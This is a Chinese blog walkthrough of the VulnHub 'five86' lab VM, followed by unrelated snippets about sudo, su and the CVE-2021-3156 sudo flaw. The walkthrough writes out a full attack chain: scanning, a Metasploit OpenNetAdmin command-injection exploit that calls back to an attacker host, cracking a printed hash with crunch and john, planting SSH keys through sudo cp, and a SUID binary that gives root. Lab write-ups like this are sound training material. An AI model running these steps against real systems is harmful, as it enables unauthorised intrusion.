vulnhub之five86的实践

VSole2022-04-05 12:20:23

今天实践的是vulnhub的five86镜像,下载地址,

https://download.vulnhub.com/five86/Five86-1.zip,

用workstation导入成功,先做地址扫描,

sudo netdiscover -r 192.168.137.0/24,

接着做端口扫描,sudo nmap -sS -sV -T5 -A -p- 192.168.137.121,

直接访问扫描出来的url,http://192.168.137.121/ona,

去metasploit搜索可利用的攻击模块,search OpenNetAdmin,

use exploit/unix/webapp/opennetadmin_ping_cmd_injection

set RHOSTS 192.168.137.121

set LHOST 192.168.137.141

exploit

拿到shell,不是root,需要提权,转成可交互的shell,

python -c 'import pty; pty.spawn("/bin/bash")',

查看到web目录下有个douglas账户,密码是哈希加密的,

给了提示,密码是10个字符,包含aefhrt,

使用crunch生成一个字典,crunch 10 10 aefhrt > dict.txt,

把密码的哈希值放到单独的文件里,

echo '$apr1$9fgG/hiM$BtsL9qpNHUlylaLxk81qY1' > hash,

用john进行破解,john --wordlist=./dict.txt hash,

得到密码明文,fatherrrrr,用账户douglas/fatherrrrr进行ssh登录,

sudo -l发现当前账户可以jen的权限执行cp命令,

用putty做个公私钥对儿,把公钥拷贝到kali攻击机上,authorized_keys,

kali攻击机上开启http下载服务,python2 -m SimpleHTTPServer,

在靶机上,cd /tmp,

wget http://192.168.137.141:8000/authorized_keys,

chmod 777 authorized_keys,

sudo -u jen /bin/cp authorized_keys /home/jen/.ssh,

再用putty以jen的账户通过公钥认证登录,

收到一封邮件,查看内容,得到账户,moss/Fire!Fire!,

再次以新的账户ssh登录,

查找以root权限执行的文件,find / -perm -u=s -type f 2>/dev/null,

看到有/home/moss/.games/upyourgame,

cd /home/moss/.games,./upyourgame,回答各种问题,得到新shell,

id确认一下是root,


sudo
本作品采用《CC 协议》,转载必须注明作者和本文链接
Sudo是Linux/Unix系统上常用的工具,管理员可通过它分配给普通用户所需的管理权限,几乎所有的Linux及Unix系统都安装有程序。此基于堆的缓冲区溢出漏洞已隐藏十年之久,利用此漏洞,非特权的本地普通用户可以在主机上获得root特权。相关研究人员已经在Ubuntu 20.04(Sudo 1.8.31)、Debian 10(Sudo 1.8.27)、Fedora 33(Sudo 1.9.2)
sudo 命令只允许使用提升的权限运行单个命令,而 su 命令会启动一个新的 shell,同时允许使用 root 权限运行尽可能多的命令,直到明确退出登录。不过有时间限制,Ubuntu默认为一次时长15分钟。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。想退回普通账户时可以执行“exit”或“logout” 。要求执行该命令的用户必须在sudoers中才可以。
一名英国安全研究人员今天发现,Sudo应用程序中最近出现的安全漏洞也影响了macOS操作系统,而不仅仅是最初认为的Linux和BSD。Qualys研究人员在上周的 告中表示,他们仅在Ubuntu,Debian和Fedora上测试了该问题。Hickey表示,他测试了CVE-2021-3156漏洞,并发现通过进行一些修改,该安全漏洞也可以用于授予攻击者访问macOS根帐户的权限。苹果在调查报告时拒绝发表评论。
可能你执行了相当多的 sudo 命令,因为你不想一直 sudo su 以 root 身份执行命令。
须安装AFL++,可以使用官方docker镜像;如果已经在本地安装,也可直接使用。测试的场景为,非特权用户输入恶意构造程序执行参数,引起sudo程序崩溃。sudo程序由root用户和其他用户启动的表现是不同的。sudo的所有权是root,但却是由普通用户调用的。argv作为一个指针数组的指针,该指针数组中最后一个指针应为0,其余的每一项为一个字符串指针。注意到afl_init_argv函数中,存在对0x02的判断,编写这个文件的作者解释到,以单独一个0x02作为参数表
据报告,Linux中存在一个高严重性漏洞,低权限攻击者可以利用该漏洞在受影响的系统上获得完整的根访问权限。
环境变量里,如果直接输入?不管用的话,就用绝对路径名的方式:/usr/sbin/useradd?。
之前一直对 su 和 sudo 这两个命令犯迷糊,最近专门搜了这方面的资料,总算是把两者的关系以及用法搞清楚
linux中su与sudo的区别
2021-09-09 09:23:44
首先需要解释下 su 代表什么意思。 之前一直以为 su 是 super user,查阅资料之后才知道原来表示 switch user。 知道 su 是由什么缩写来的之后,那么它提供的功能就显而易见了,就是切换用户。
VSole
网络安全专家